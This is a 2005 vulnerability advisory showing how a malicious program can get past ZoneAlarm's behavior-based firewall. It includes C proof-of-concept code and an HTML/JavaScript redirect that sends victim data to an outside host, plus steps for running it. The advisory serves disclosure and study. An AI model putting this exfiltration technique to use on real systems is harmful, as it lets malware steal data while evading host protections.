Zone Labs Products Advance Program Control and OS Firewall (Behavioral
Based) Technology Bypass Vulnerability
I. PRODUCT BACKGROUND
ZoneAlarm Pro and Internet Security Suite with its a new level of protection
is what Zone Labs calls an "OS Firewall" based on "Behavior Based Analysis"
has gone beyond network level protection and protects PCs against various
local attacks on a windows machine. Currently available personal firewalls
protects PCs against only network based attacks however the new Zone Labs
"OS firewall" technology monitors activity at the kernel-level and prevents
attacks at various level. The new approach alerts the user by closely
monitoring at kernel level for any unusual activity in the system; like
changes in critical registry keys, changes in start-up entries, any kind of
Interprocess interactions and processes making outbound connections via
other trusted programs. When ZoneAlarm sees unusual activity between
applications, it can put the kibosh on memory being read, or quash
unauthorized driver and service loading. The PoC below discusses how the
ZoneAlarm Advance Program Control and Behavior Based Technology can be
defeated by using HTML Modal Dialog Box.
II. TECHNICAL DESCRIPTION
Zone Alarm products with Advance Program Control or OS Firewall Technology
enabled, detects and blocks almost all those APIs (like Shell,
ShellExecuteEx, SetWindowText, SetDlgItem etc) which are commonly used by
malicious programs to send data via http by piggybacking over other trusted
programs. However, it is still possible for a malicious program (Trojans or
worms etc) to make outbound connections to the evil site by piggybacking
over trusted Internet browser using "HTML Modal Dialog" in conjunction with
simple "JavaScript". Here it is assumed that the default browser (IE or
Firefox etc) has authorization to access internet. In case of the default
installation of ZoneAlarm Pro, IE is by default allowed to access internet.
The PoC (Proof-of-Concept) in Section V explains the hack and the exploit
code is also included for reference.
III. IMPACT
On successful exploitation the malicious program will be able to send the
victim's details and personal system information to the attacker and this
can further leads to complete system compromise.
IV. AFFECTED PRODUCTS
Zone Alarm Pro 6.0.x
Zone Alarm Internet Security Suit 6.0.x
Zone Alarm Firewall with Anti-Spyware 6.1.x
Zone Alarm Firewall with Anti-Virus 6.0.x
Zone Alarm Firewall (Free Version) 6.0.x
V. PROOF-OF-CONCEPT:
By using ShowHTMLDialog() method, it is possible for any malicious program
to creates a modal dialog box that displays HTML. This in turn can be used
to redirect the page to the attacker's site. It is observed that using this
method, ZA Pro and Internet Security Suit is unable to block internet
access. This method can be used by any malicious program to send data
outside via http to the attacker and at the same time it can also receive
the command instructions from the attacker. The detailed exploit code is
given below:
<<< osfwbypass-demo.c >>>
BOOL LoadHtmlDialog(void)
{
HINSTANCE hinstMSHTML = LoadLibrary(TEXT("MSHTML.DLL"));
if (hinstMSHTML)
{
SHOWHTMLDIALOGFN* pfnShowHTMLDialog;
// Open a Modal Dialog box of HTML content type
pfnShowHTMLDialog = (SHOWHTMLDIALOGFN*)GetProcAddress(hinstMSHTML,
TEXT("ShowHTMLDialog"));
if (pfnShowHTMLDialog)
{
IMoniker *pURLMoniker;
// Invoke the html file containing the data to be sent via http
BSTR bstrURL = SysAllocString(L"c:\modal-dialog.htm");
CreateURLMoniker(NULL, bstrURL, &pURLMoniker);
if (pURLMoniker)
{
(*pfnShowHTMLDialog)(NULL, pURLMoniker, NULL, NULL, NULL);
pURLMoniker->Release();
}
SysFreeString(bstrURL);
}
FreeLibrary(hinstMSHTML);
}
Return True;
}
<<< +++ >>>
<<< modal-dialog.htm >>>
<html>
<head>
<meta http-equiv="Content-Language" content="en-us">
<title>Redirection Dialog</title>
<script language="JavaScript">
<!-- Here goes the information logged by the malicious program which will
be sent to the evil site via http request -->
var sTargetURL =
"http://www.hackingspirits.com/vuln-rnd/demo/defeat-osfw.asp?[Your
Information Here]
window.location.href = sTargetURL;
window.close;
</script>
</head>
</html>
<<< +++ >>>
VI. DEMONSTRATION:
For a live demonstration, the compiled binary ("osfwbypass-demo.exe") and
the html redirection script ("modal-dialog.htm") has been enclosed with this
advisory. To test, kindly follow the following steps:
a. Extract both "osfwbypass-demo.exe" and "modal-dialog.htm" to "C:".
[Note: You can extract "osfwbypass-demo.exe" to whatever location you like
but don't change the location of "modal-dialog.htm" other than "C:"
otherwise the PoC won't work.] -> Just to save time, I had to hardcode the
path.
b. Run "osfwbypass-demo.exe" and click on the "GO" button. This will
open "modal-dialog.htm" in modal dialog box which further will redirect to
the evil site and send the sample user info via the url to the evil site.
c. First close "osfwbypass-demo.exe" before closing the modal dialog
box otherwise the program might fail. Ya Ya I know.. I didn't put much
effort for those try{} <=> catch{} ;-). Just wrote a quick demo and didn't
hade much time for those tweaks.
VII. CONCLUSION:
This exploit might work for all other personal firewalls available which are
based on behavioral based analysis. I didn't considered this test for
ordinary personal firewall which does only network based protection as it is
beyond the capability of those firewalls to protect against such attack
although, this exploit will successfully bypass those firewalls.
VIII. HISTORY:
10th Oct, 2005 - Bug Originally Discovered
15th Oct, 2005 - Vendor Reported
15th Oct, 2005 - Vendor acknowledged the report and asked me not go
public until such time that they can fully investigate and coordinate a
response.
17th Oct, 2005 - Vendor asked for more information
19th Oct, 2005 - Vendor provided with more information and the
version info on which the exploit was tested.
21st Oct, 2005 - Vendor coordinator replied that he is leaving Zone
Labs and there will be someone else who will get in touch with me.
21st Oct, 2005 - Vendor coordinator replied that he is leaving Zone
Labs and there will be someone else who will get in touch with me.
29th Oct, 2005 - Final follow up with the vendor but no response
after the first vendor coordinator left the organization. Don't know what
the problem is??
8th Nov, 2005 -- Public Disclosure
The PoC along with the compiled exploit can be download from the following
link:
http://www.hackingspirits.com/vuln-rnd/vuln-rnd.html
IX. CREDITS:
Tr0y (a.k.a Debasis Mohanty)
debasis (at) hackingspirits (dot) com [email concealed]
http://www.hackingspirits.com
Polish
English